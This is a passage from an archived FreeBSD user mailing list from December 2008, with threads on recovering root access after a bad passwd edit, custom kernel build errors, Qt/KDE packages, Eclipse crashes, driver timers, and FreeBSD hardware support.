-- Best regards, Odhiambo WASHINGTON, Nairobi,KE +254733744121/+254722743223 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ "Okay guys. This is Kenya. You pay taxes because you feel philanthropic, unlike our MPs!" -- Kenneth Marende, Speaker, 10th Parilament. From freebsd at edvax.de Sun Dec 7 01:20:35 2008 From: freebsd at edvax.de (Polytropon) Date: Sun Dec 7 01:20:42 2008 Subject: FreeBSD /dev/fd0 In-Reply-To: <493B7C14.3000408@gmail.com> References: <493B7C14.3000408@gmail.com> Message-ID: <20081207102022.436c52e1.freebsd@edvax.de> As it has been mentioned before, it's questionable if there is any support for parallel floppy disk drives in FreeBSD. But there is support for USB driven external floppies, this is done via the ufd driver. On Sun, 07 Dec 2008 02:32:36 -0500, Cynical Nihilist wrote: > Hi, > > I am having issues configuring and using my external floppy drive on > FreeBSD 7.0-RELEASE. It's a parallel port floppy drive. /dev/fd0 is not > present and dmesg shows > fdc0: port 0x3f2-0x3f5,0x3f7 irq 6 drq 2 > on acpi0 > fdc0: [FILTER] > > when using dmesg | grep fd Correct, this is at least a floppy disk controller (fdc) which seems to be present in the chipset of your mainboard, but this doesn't neccessarily imply that there are any floppy drives. > parallel port is working properly and I can read/write from it. You could write a pdf driver on your own. :-) -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From reddvinylene at gmail.com Sun Dec 7 02:04:03 2008 From: reddvinylene at gmail.com (Redd Vinylene) Date: Sun Dec 7 02:04:10 2008 Subject: Locked myself out.. AGAIN!! Message-ID: On this dedicated box here I made the mistake of adding a comment to root's entry in my password file: root:*:0:0::/root:/bin/sh # What I thought would be a harmless comment. Now I can't su to root. And my ISP is closed on Sundays. Is there any way I can fix this on my own? Thanks y'all! -- http://www.home.no/reddvinylene From valentin.bud at gmail.com Sun Dec 7 02:07:12 2008 From: valentin.bud at gmail.com (Valentin Bud) Date: Sun Dec 7 02:08:53 2008 Subject: Locked myself out.. AGAIN!! In-Reply-To: References: Message-ID: <139b44430812070207u5dd5e49cr1ee3884cd5af046c@mail.gmail.com> On Sun, Dec 7, 2008 at 12:04 PM, Redd Vinylene wrote: > On this dedicated box here I made the mistake of adding a comment to > root's entry in my password file: > > root:*:0:0::/root:/bin/sh # What I thought would be a harmless comment. > > Now I can't su to root. And my ISP is closed on Sundays. Is there any > way I can fix this on my own? Do you have sudo ? If yes (re)edit the file and change it back how it was. If not others might come with some opinions :|. a great day. v > > > Thanks y'all! > > -- > http://www.home.no/reddvinylene > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From glen.j.barber at gmail.com Sun Dec 7 02:07:51 2008 From: glen.j.barber at gmail.com (Glen Barber) Date: Sun Dec 7 02:09:04 2008 Subject: Locked myself out.. AGAIN!! In-Reply-To: References: Message-ID: <4ad871310812070207k2136ea12p9bd6c9be2c0afd0f@mail.gmail.com> On Sun, Dec 7, 2008 at 5:04 AM, Redd Vinylene wrote: > On this dedicated box here I made the mistake of adding a comment to > root's entry in my password file: > > root:*:0:0::/root:/bin/sh # What I thought would be a harmless comment. > This is why you shouldn't edit password files directly. > Now I can't su to root. And my ISP is closed on Sundays. Is there any > way I can fix this on my own? > Do you have sudo installed? If not, your only other option is to boot into single user mode. But that won't help if you're not at the console. -- Glen Barber "If you have any trouble sounding condescending, find a Unix user to show you how it's done." --Scott Adams From reddvinylene at gmail.com Sun Dec 7 02:30:35 2008 From: reddvinylene at gmail.com (Redd Vinylene) Date: Sun Dec 7 02:30:42 2008 Subject: Locked myself out.. AGAIN!! In-Reply-To: <4ad871310812070207k2136ea12p9bd6c9be2c0afd0f@mail.gmail.com> References: <4ad871310812070207k2136ea12p9bd6c9be2c0afd0f@mail.gmail.com> Message-ID: Thanks guys. But I guess I'm all outta luck: $ sudo -s /libexec/ld-elf.so.1: Shared object "libutil.so.5" not found, required by "sudo" On Sun, Dec 7, 2008 at 11:07 AM, Glen Barber wrote: > On Sun, Dec 7, 2008 at 5:04 AM, Redd Vinylene wrote: >> On this dedicated box here I made the mistake of adding a comment to >> root's entry in my password file: >> >> root:*:0:0::/root:/bin/sh # What I thought would be a harmless comment. >> > > This is why you shouldn't edit password files directly. > >> Now I can't su to root. And my ISP is closed on Sundays. Is there any >> way I can fix this on my own? >> > > Do you have sudo installed? If not, your only other option is to boot > into single user mode. But that won't help if you're not at the > console. > > > -- > Glen Barber > > > "If you have any trouble sounding condescending, find a Unix user to > show you how it's done." > --Scott Adams > -- http://www.home.no/reddvinylene From frank at shute.org.uk Sun Dec 7 02:54:01 2008 From: frank at shute.org.uk (Frank Shute) Date: Sun Dec 7 02:54:09 2008 Subject: Error Kernel Compiling In-Reply-To: References: Message-ID: <20081207105349.GA61423@melon.esperance-linux.co.uk> On Sun, Dec 07, 2008 at 08:02:33AM +0100, Federico Cicciarella wrote: > > linking kernel.debug > if.o(.text+0x1027): In function `if_setlladdr': > /usr/src/sys/net/if.c:2646: undefined reference to `arp_ifinit' > igmp.o(.text+0x45): In function `igmp_sendpkt': > /usr/src/sys/netinet/igmp.c:472: undefined reference to `loif' > ip_output.o(.text+0xae9): In function `ip_output': > /usr/src/sys/netinet/ip_output.c:1196: undefined reference to `if_simloop' > ip_output.o(.text+0xcfe):/usr/src/sys/netinet/ip_output.c:451: undefined reference to `loif' > ip6_input.o(.text+0xedf): In function `ip6_input': > /usr/src/sys/netinet6/ip6_input.c:254: undefined reference to `loif' > ip6_output.o(.text+0x10a): In function `ip6_mloopback': > /usr/src/sys/netinet6/ip6_output.c:3258: undefined reference to `if_simloop' > ip6_output.o(.text+0x3bad): In function `ip6_output': > /usr/src/sys/netinet6/ip6_output.c:845: undefined reference to `loif' > nd6.o(.text+0x2d77): In function `nd6_rtrequest': > /usr/src/sys/netinet6/nd6.c:1334: undefined reference to `loif' > *** Error code 1 > > Stop in /usr/obj/usr/src/sys/MYKERNEL. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > > > > Why? Probably because you've left something important on the networking side out of your kernel config. If you post your kernel config, then somebody maybe able to spot it. Regards, -- Frank Contact info: http://www.shute.org.uk/misc/contact.html From nightrecon at verizon.net Sun Dec 7 03:02:49 2008 From: nightrecon at verizon.net (Michael Powell) Date: Sun Dec 7 03:02:56 2008 Subject: Locked myself out.. AGAIN!! References: <4ad871310812070207k2136ea12p9bd6c9be2c0afd0f@mail.gmail.com> Message-ID: Redd Vinylene wrote: > Thanks guys. But I guess I'm all outta luck: > > $ sudo -s > /libexec/ld-elf.so.1: Shared object "libutil.so.5" not found, required by > "sudo" > [snip] Don't know if this would help but you might try creating a file called libmap.conf in /etc and place in it: libutil.so.5 libutil.so.7 This would be for a 7.x box. You can always do ldconfig -r |grep libutil to look for the candidate for the entry for the right column above. -Mike From mail25 at bzerk.org Sun Dec 7 03:07:49 2008 From: mail25 at bzerk.org (Ruben de Groot) Date: Sun Dec 7 03:07:56 2008 Subject: Locked myself out.. AGAIN!! In-Reply-To: References: <4ad871310812070207k2136ea12p9bd6c9be2c0afd0f@mail.gmail.com> Message-ID: <20081207110743.GB50965@ei.bzerk.org> On Sun, Dec 07, 2008 at 06:02:26AM -0500, Michael Powell typed: > Redd Vinylene wrote: > > > Thanks guys. But I guess I'm all outta luck: > > > > $ sudo -s > > /libexec/ld-elf.so.1: Shared object "libutil.so.5" not found, required by > > "sudo" > > > [snip] > > Don't know if this would help but you might try creating a file called > libmap.conf in /etc and place in it: > > libutil.so.5 libutil.so.7 This advise is only helpful if you have root allready =) From nightrecon at verizon.net Sun Dec 7 03:34:51 2008 From: nightrecon at verizon.net (Michael Powell) Date: Sun Dec 7 03:34:58 2008 Subject: Locked myself out.. AGAIN!! References: <4ad871310812070207k2136ea12p9bd6c9be2c0afd0f@mail.gmail.com> <20081207110743.GB50965@ei.bzerk.org> Message-ID: Ruben de Groot wrote: [snip] > > This advise is only helpful if you have root allready =) I've never figured out why people seem to always want to play with the root account the way they do, such as the favorite "I wanna use bash for root's shell"... Since the OP seems to want to keep playing with root he should probably consider giving the toor user a shell and password so he'll have another way to undo this nonsense. Suggestion for the future... -Mike From joost at jodocus.org Sun Dec 7 03:49:01 2008 From: joost at jodocus.org (Joost Bekkers) Date: Sun Dec 7 03:49:09 2008 Subject: Locked myself out.. AGAIN!! In-Reply-To: References: Message-ID: <1567.192.168.100.227.1228649576.squirrel@jodocus.org> On Sun, December 7, 2008 11:04, Redd Vinylene wrote: > On this dedicated box here I made the mistake of adding a comment to > root's entry in my password file: > > root:*:0:0::/root:/bin/sh # What I thought would be a harmless comment. > > Now I can't su to root. And my ISP is closed on Sundays. Is there any > way I can fix this on my own? > Try `su -m` the man page says it will use your current shell instead of the one in passwd. good luck. Joost. From frank at shute.org.uk Sun Dec 7 04:51:41 2008 From: frank at shute.org.uk (Frank Shute) Date: Sun Dec 7 04:51:47 2008 Subject: Error Kernel Compiling In-Reply-To: References: <20081207105349.GA61423@melon.esperance-linux.co.uk> Message-ID: <20081207125132.GA61694@melon.esperance-linux.co.uk> On Sun, Dec 07, 2008 at 12:08:12PM +0100, Federico Cicciarella wrote: > > My Machine i: ASUS P5N-E, Celeron D 440, 1 slot PCI 10\100 Realtek > > > > > Configure Kenrel: > > machine i386 > cpu I686_CPU > ident ArrakisKernel > makeoptions DEBUG=-g # Build kernel with gdb(1) debug > symbols > options SCHED_4BSD # 4BSD scheduler > options PREEMPTION # Enable kernel thread preemption > options INET # InterNETworking > options INET6 # IPv6 communications protocols > options SCTP # Stream Control Transmission > Protocol > options FFS # Berkeley Fast Filesystem > options SOFTUPDATES # Enable FFS soft updates support > options UFS_ACL # Support for access control lists > options UFS_DIRHASH # Improve performance on big > directories > options UFS_GJOURNAL # Enable gjournal-based UFS > journaling > options MD_ROOT # MD is a potential root device > options PROCFS # Process filesystem (requires > PSEUDOFS) > options PSEUDOFS # Pseudo-filesystem framework > options GEOM_LABEL # Provides labelization > options COMPAT_43TTY # BSD 4.3 TTY compat [KEEP THIS!] > options COMPAT_FREEBSD4 # Compatible with FreeBSD4 > options COMPAT_FREEBSD5 # Compatible with FreeBSD5 > options COMPAT_FREEBSD6 # Compatible with FreeBSD6 > options SCSI_DELAY=5000 # Delay (in ms) before probing SCSI > options KTRACE # ktrace(1) support > options SYSVMSG # SYSV-style message queues > options SYSVSEM # SYSV-style semaphores Probably need: options SYSVSHM > options _KPOSIX_PRIORITY_SCHEDULING # POSIX P1003_1B real-time > extensions > options KBD_INSTALL_CDEV # install a CDEV entry in /dev > options ADAPTIVE_GIANT # Giant mutex is adaptive. > options STOP_NMI # Stop CPUS using NMI instead of IPI > options AUDIT # Security event auditing > options SMP # Symmetric MultiProcessor Kernel > device apic # I/O APIC > device cpufreq > device eisa > device pci > device ata > device atadisk # ATA disk drives > device ataraid # ATA RAID drives > device atapicd # ATAPI CDROM drives > device atapifd # ATAPI floppy drives > device atapist # ATAPI tape drives > options ATA_STATIC_ID # Static device numbering > device psm # PS/2 mouse > device vga # VGA video card driver > device splash # Splash screen and screen saver support > device sc > device pmtimerport bus (required) typo above? > device re # RealTek 8139C+/8169/8169S/8110S > device rl # RealTek 8129/8139 > device bpf # Berkeley packet filter > > # USB support > device uhci # UHCI PCI->USB interface > device ohci # OHCI PCI->USB interface > device ehci # EHCI PCI->USB interface (USB 2.0) > device usb # USB Bus (required) > device ugen # Generic > device uhid # "Human Interface Devices" > device ukbd # Keyboard > device ulpt # Printer > device umass # Disks/Mass storage - Requires scbus and da > device ums # Mouse > device ural # Ralink Technology RT2500USB wireless NICs > device rum # Ralink Technology RT2501USB wireless NICs > device urio # Diamond Rio 500 MP3 player > device uscanner # Scanners > > # USB Ethernet, requires miibus So where's miibus? > device aue # ADMtek USB Ethernet > device axe # ASIX Electronics USB Ethernet > device cdce # Generic USB over Ethernet > device cue # CATC USB Ethernet > device kue # Kawasaki LSI USB Ethernet > device rue # RealTek RTL8150 USB Ethernet > > # Pseudo devices. > device loop # Network loopback > device random # Entropy device > device ether # Ethernet support > device tun # Packet tunnel. > device pty # Pseudo-ttys (telnet etc) > device md # Memory "disks" > device gif # IPv6 and IPv4 tunneling > device faith # IPv6-to-IPv4 relaying (translation) > What you want to do when you build a custom kernel is: # cp GENERIC MYKERN and then comment out the bits you don't want. That way you can run a diff on GENERIC & MYKERN to see the bits you've changed & might be causing you problems. I've commented the above config with the problems that jump out at me but there could be other stuff missing. You also didn't mention your uname -a Regards, -- Frank Contact info: http://www.shute.org.uk/misc/contact.html From naylor.b.david at gmail.com Sun Dec 7 04:58:09 2008 From: naylor.b.david at gmail.com (David Naylor) Date: Sun Dec 7 04:58:16 2008 Subject: QT4.5 packages In-Reply-To: <28283d910812061219u2915f49cw9767c4abffb33dd2@mail.gmail.com> References: <4939CABB.7050702@maydias.com> <493A3379.5000003@maydias.com> <28283d910812061219u2915f49cw9767c4abffb33dd2@mail.gmail.com> Message-ID: <200812071458.01055.naylor.b.david@gmail.com> On Saturday 06 December 2008 22:19:32 matt donovan wrote: > On Sat, Dec 6, 2008 at 3:10 AM, Warren Liddell wrote: > > You can find many packages for several releases under > > > >> ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386 > >> _______________________________________________ > > > > Yeah that was the first palced i checked, but there is only 4.4.1 and at > > the least i need 4.4.2, but a lot of things im now running require 4.5 an > > being as i can build them i goto add them from pkg .. im running AMD64 > > FreeBSD 7.1-PreRelease KDE 4.1.3 > > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > > freebsd-questions-unsubscribe@freebsd.org" > > Qt4.5 has not been ported over yet but they are working on it. I may be missing something here but Qt 4.5 has not been released yet. It has not even reached beta yet (and there are still lots of regression with regards to KDE but the regressions should be fixed by the beta). Qt 4.4.2 is in area51, you can use the following command to get a working copy of the repository (oh and KDE 4.1.3 is also in area51): svn co https://kf.athame.co.uk/kde-freebsd/tags/kde_4_1 Regards -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: This is a digitally signed message part. Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081207/71d731e4/attachment.pgp From gesbbb at yahoo.com Sun Dec 7 05:29:36 2008 From: gesbbb at yahoo.com (Jerry) Date: Sun Dec 7 05:29:42 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <20081207093713.O5433@wojtek.tensor.gdynia.pl> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <20081207093713.O5433@wojtek.tensor.gdynia.pl> Message-ID: <20081207082932.04a7cf16@scorpio> On Sun, 7 Dec 2008 09:40:46 +0100 (CET) Wojciech Puchar wrote: >> manufacturers of hardware. More recently there were times when >> anybody from > >because managers/bosses concentrate on majority, not minority of users. That is plain good business sense. As Willy Sutton once remarked to a reporter, Mitch Ohnstad, who asked why he robbed banks by saying, "because that's where the money is." >> manufacturers did not notice Linux. However now it is possible to >> find a few > >> given out "put normal OS - their list is at us on a site and then we >> will > >i recommend you to find "normal shop" to buy hardware, that allow you >to fully test computer before buying. Obvious, if you are buying a custom built unit. Maybe, even if you buying a generic unit. >if you think there are larger (even hundreds means larger) start >selling "FreeBSD compatible computers" in your area! > >You could make money on that, many people will easily spend 100$ more >for computer that is already tested 100% FreeBSD compatible. > >All you have to do is to test/check lots of different parts of >hardware if it actually work with FreeBSD fine, and make computers >from that parts. The problem with the business design is what do you do if a customer wants a specific hardware device that FreeBSD does not support. The changes of that happening in Linux are much less, and with Windows, virtually never at all. IMHO, before FreeBSD can make a significant market share improvement, it has to improve its hardware support. NVidia, for one, has expressed a desire to support FreeBSD; however, it needs the FreeBSD organization to improve its basic product, especially in the 64-bit systems, which are the future of computing. -- Jerry gesbbb@yahoo.com There are ten or twenty basic truths, and life is the process of discovering them over and over and over. David Nichols -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081207/22587cd3/signature.pgp From shinjii at maydias.com Sun Dec 7 05:30:41 2008 From: shinjii at maydias.com (Warren Liddell) Date: Sun Dec 7 05:30:48 2008 Subject: QT4.5 packages In-Reply-To: <200812071458.01055.naylor.b.david@gmail.com> References: <4939CABB.7050702@maydias.com> <493A3379.5000003@maydias.com> <28283d910812061219u2915f49cw9767c4abffb33dd2@mail.gmail.com> <200812071458.01055.naylor.b.david@gmail.com> Message-ID: <493BD006.9000203@maydias.com> I may be missing something here but Qt 4.5 has not been released yet. It has > not even reached beta yet (and there are still lots of regression with > regards to KDE but the regressions should be fixed by the beta). > > Qt 4.4.2 is in area51, you can use the following command to get a working copy > of the repository (oh and KDE 4.1.3 is also in area51): > > svn co https://kf.athame.co.uk/kde-freebsd/tags/kde_4_1 > > Regards > enterprise# portupgrade -aDkp [Updating the pkgdb in /var/db/pkg ... - 732 packages found (-0 +2) .. done] Stale dependency: akonadi-1.0.0 --> qt4-qtestlib-4.5.0.tp1 -- manually run 'pkgdb -F' to fix, or specify -O to force. My ports tree is run entirely from svn from area51, im also running KDE 4.1.3, i all ready have QT4.4.2 installed :) .. im looking to run the newer KDE 4.2 on a test machine hence why QT4.5 is needed From jerrymc at msu.edu Sun Dec 7 06:22:49 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Sun Dec 7 06:22:55 2008 Subject: Locked myself out.. AGAIN!! In-Reply-To: References: Message-ID: <20081207141737.GA15666@gizmo.acns.msu.edu> On Sun, Dec 07, 2008 at 11:04:00AM +0100, Redd Vinylene wrote: > On this dedicated box here I made the mistake of adding a comment to > root's entry in my password file: > > root:*:0:0::/root:/bin/sh # What I thought would be a harmless comment. > > Now I can't su to root. And my ISP is closed on Sundays. Is there any > way I can fix this on my own? DO you have physical access to the machine? If so, force it to reboot - maybe by pulling the plug if you have to then bring it up in single user mode. Remount root mount -u / Then use vipw to edit the file and remove that comment and any trailing blanks on that line. Then reboot again. ////jerry > > Thanks y'all! > > -- > http://www.home.no/reddvinylene > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From sdavtaker at gmail.com Sun Dec 7 07:03:43 2008 From: sdavtaker at gmail.com (=?UTF-8?Q?Sd=C3=A4vtaker?=) Date: Sun Dec 7 07:03:59 2008 Subject: Problem lauching Eclipse Message-ID: Im trying to run last ports version of eclipse in FreeBSD 7.1-PRERELEASE-p1 #0: Mon Nov 24 11:49:24 UTC 2008 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC It starts and ask for env place, i select /usr/home/myaccount then start loading all the modules, and when getting to the last step crashes and shows this: JVM terminated. Exit code=1 /usr/local/bin/java -Xms40m -Xmx256m -jar /usr/local/eclipse/plugins/org.eclipse.equinox.launcher_1.0.1.R33x_v20080118.jar -os freebsd -ws gtk -arch x86 -showsplash -launcher /usr/local/eclipse/eclipse -name Eclipse --launcher.library /usr/local/eclipse/plugins/org.eclipse.equinox.launcher.gtk.freebsd.x86_1.0.3.R33x_v20080118/eclipse_1023.so -startup /usr/local/eclipse/plugins/org.eclipse.equinox.launcher_1.0.1.R33x_v20080118.jar -exitdata 10002 -vm /usr/local/bin/java -vmargs -Xms40m -Xmx256m -jar /usr/local/eclipse/plugins/org.eclipse.equinox.launcher_1.0.1.R33x_v20080118.jar Someone got this problem before? any idea what is wrong? thanks for any help- Sdav From yonyossef.lists at gmail.com Sun Dec 7 07:56:48 2008 From: yonyossef.lists at gmail.com (Yony Yossef) Date: Sun Dec 7 07:56:55 2008 Subject: Timer driven tasks in FreeBSD 7 Message-ID: <20def4870812070756n649f442fwc6e1d3da195a0669@mail.gmail.com> Hi All, What mechanism should I use for making my netwrok driver call a function every half a second, for instnace? I am already using task queues but I haven't found a way to make it work with a timer. Thanks Yony From keramida at ceid.upatras.gr Sun Dec 7 08:03:38 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Sun Dec 7 08:03:46 2008 Subject: Timer driven tasks in FreeBSD 7 In-Reply-To: <20def4870812070756n649f442fwc6e1d3da195a0669@mail.gmail.com> (Yony Yossef's message of "Sun, 7 Dec 2008 17:56:47 +0200") References: <20def4870812070756n649f442fwc6e1d3da195a0669@mail.gmail.com> Message-ID: <877i6ct1kj.fsf@kobe.laptop> On Sun, 7 Dec 2008 17:56:47 +0200, "Yony Yossef" wrote: > Hi All, > > What mechanism should I use for making my netwrok driver call a > function every half a second, for instnace? > > I am already using task queues but I haven't found a way to make it > work with a timer. callout_xxx() functions should do the trick. See the timeout(9) manpage for more details. From sfourman at gmail.com Sun Dec 7 08:53:05 2008 From: sfourman at gmail.com (Sam Fourman Jr.) Date: Sun Dec 7 08:53:12 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <20081207082932.04a7cf16@scorpio> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <20081207093713.O5433@wojtek.tensor.gdynia.pl> <20081207082932.04a7cf16@scorpio> Message-ID: <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> > NVidia, for one, has expressed > a desire to support FreeBSD; however, it needs the FreeBSD organization > to improve its basic product, especially in the 64-bit systems, which > are the future of computing. Does anyone know of any recent progress on a 64bit Nvidia Driver? there is mention of progress on this page http://www.nvnews.net/vbulletin/showthread.php?t=41545&page=24 Sam Fourman Jr. From nino80 at gmail.com Sun Dec 7 09:39:10 2008 From: nino80 at gmail.com (n j) Date: Sun Dec 7 09:39:18 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <200812012304.56334.beech@freebsd.org> References: <200812012304.56334.beech@freebsd.org> Message-ID: <92bcbda50812070939v59afe196od1c8b6489b5a0d6c@mail.gmail.com> > versions. The packages for a particular branch tend to lag the updates by up > to a couple of weeks although they are built continually. If you want to stay > really up to date you need to keep your tree updated with portsnap or csup > (part of the base system) and compile them yourself. Another advantage to > compiling is you can choose options. The packages are always built with > default options which is generally OK, but not always optimal. On a discussion note, wouldn't it be nice (and quite possible based on the frequency of vulnerability reports on vuxml) to have a sort of "security" branch for pre-built packages? What I mean is, if you use -RELEASE package repository, you get the benefit of a large number of pre-built packages at a cost of them not being up to date. On the other hand, building all the packages all the time (i.e. using -STABLE repository) results in the mentioned couple of weeks lag, probably due to the sheer number of ports available. So, it would be nice to have a sort of -SECURITY branch (much like it existed before freebsd-update became part of base system) and make a dedicated package repository where only packages with reported vulnerabilities in vuxml would get (promptly and regularly) rebuilt thus giving people options of doing binary up-to-date upgrading without inflicting too much load on the package building machines. Thoughts anyone? -- Nino From wojtek at wojtek.tensor.gdynia.pl Sun Dec 7 10:18:15 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sun Dec 7 10:18:22 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <20081207093713.O5433@wojtek.tensor.gdynia.pl> <20081207082932.04a7cf16@scorpio> <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> Message-ID: <20081207191727.V1610@wojtek.tensor.gdynia.pl> > Does anyone know of any recent progress on a 64bit Nvidia Driver? > there is mention of progress on this page > http://www.nvnews.net/vbulletin/showthread.php?t=41545&page=24 most freebsd users don't need 3D at all, or don't need super-high-speed 3D. so simply don't use nvidia/ati From wojtek at wojtek.tensor.gdynia.pl Sun Dec 7 10:18:51 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sun Dec 7 10:18:58 2008 Subject: Locked myself out.. AGAIN!! In-Reply-To: <20081207141737.GA15666@gizmo.acns.msu.edu> References: <20081207141737.GA15666@gizmo.acns.msu.edu> Message-ID: <20081207191824.H1610@wojtek.tensor.gdynia.pl> > > If so, force it to reboot - maybe by pulling the plug if you have to > then bring it up in single user mode. CTRL-ALT-DEL shutdowns the system unless it was configured not to. > Remount root mount -u / > Then use vipw to edit the file and remove that comment and any trailing > blanks on that line. > Then reboot again. > > ////jerry > > >> >> Thanks y'all! >> >> -- >> http://www.home.no/reddvinylene >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > From subbsd at gmail.com Sun Dec 7 10:50:35 2008 From: subbsd at gmail.com (Ole Vole) Date: Sun Dec 7 10:50:42 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <20081207191727.V1610@wojtek.tensor.gdynia.pl> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> <20081207191727.V1610@wojtek.tensor.gdynia.pl> Message-ID: <200812072150.44361.subbsd@gmail.com> If only 3D or "super-high-speed" has been affected by this driver. Regrettably most application simple is not usable, like video-players, google-earth, KDE4.... - all of that on my desktop station with > 4Gb of RAM is looks&works like nightmare in vesa (xorg nv)-driver. And me too a very long time waiting for news from NV/BSD team. On Sunday 07 December 2008 21:18:08 Wojciech Puchar wrote: > > Does anyone know of any recent progress on a 64bit Nvidia Driver? > > there is mention of progress on this page > > http://www.nvnews.net/vbulletin/showthread.php?t=41545&page=24 > > most freebsd users don't need 3D at all, or don't need super-high-speed > 3D. > > so simply don't use nvidia/ati > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From onemda at gmail.com Sun Dec 7 10:56:01 2008 From: onemda at gmail.com (Paul B. Mahol) Date: Sun Dec 7 10:56:07 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <200812072150.44361.subbsd@gmail.com> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> <20081207191727.V1610@wojtek.tensor.gdynia.pl> <200812072150.44361.subbsd@gmail.com> Message-ID: <3a142e750812071056l50e8f464oa5169b9f3d107902@mail.gmail.com> On 12/7/08, Ole Vole wrote: > If only 3D or "super-high-speed" has been affected by this driver. > Regrettably > most application simple is not usable, like video-players, google-earth, > KDE4.... - all of that on my desktop station with > 4Gb of RAM is > looks&works > like nightmare in vesa (xorg nv)-driver. And me too a very long time waiting > for news from NV/BSD team. Simple solution: Pay them or someone to do it for you, or hack it yourself, or wait for it little longer. -- Paul From perrin at apotheon.com Sun Dec 7 11:35:39 2008 From: perrin at apotheon.com (Chad Perrin) Date: Sun Dec 7 11:35:46 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <20081207082932.04a7cf16@scorpio> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <20081207093713.O5433@wojtek.tensor.gdynia.pl> <20081207082932.04a7cf16@scorpio> Message-ID: <20081207193527.GA34325@kokopelli.hydra> On Sun, Dec 07, 2008 at 08:29:32AM -0500, Jerry wrote: > > IMHO, before FreeBSD can make a significant market share improvement, > it has to improve its hardware support. NVidia, for one, has expressed > a desire to support FreeBSD; however, it needs the FreeBSD organization > to improve its basic product, especially in the 64-bit systems, which > are the future of computing. Please explain your use of the word "improve" in this context. -- Chad Perrin [ content licensed OWL: http://owl.apotheon.org ] Mediocrity corrupts. Bureaucracy corrupts absolutely. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081207/c7892fc6/attachment.pgp From uwe at laverenz.de Sun Dec 7 11:49:06 2008 From: uwe at laverenz.de (Uwe Laverenz) Date: Sun Dec 7 11:49:14 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <20081207191727.V1610@wojtek.tensor.gdynia.pl> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <20081207093713.O5433@wojtek.tensor.gdynia.pl> <20081207082932.04a7cf16@scorpio> <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> <20081207191727.V1610@wojtek.tensor.gdynia.pl> Message-ID: <20081207193517.GA20905@laverenz.de> On Sun, Dec 07, 2008 at 07:18:08PM +0100, Wojciech Puchar wrote: > most freebsd users don't need 3D at all, or don't need super-high-speed > 3D. Who is "most freebsd users"? I agree that there are more important things to worry about than nvidia/amd64 support, but: if you want to buy a computer these days and want to use it as a desktop/workstation with our favourite operating system, you have a serious problem to find a graphics card that is both useable and buyable. > so simply don't use nvidia/ati Ok, what else then? Uwe From perrin at apotheon.com Sun Dec 7 11:56:02 2008 From: perrin at apotheon.com (Chad Perrin) Date: Sun Dec 7 11:56:09 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <20081207191727.V1610@wojtek.tensor.gdynia.pl> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <20081207093713.O5433@wojtek.tensor.gdynia.pl> <20081207082932.04a7cf16@scorpio> <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> <20081207191727.V1610@wojtek.tensor.gdynia.pl> Message-ID: <20081207195551.GB34325@kokopelli.hydra> On Sun, Dec 07, 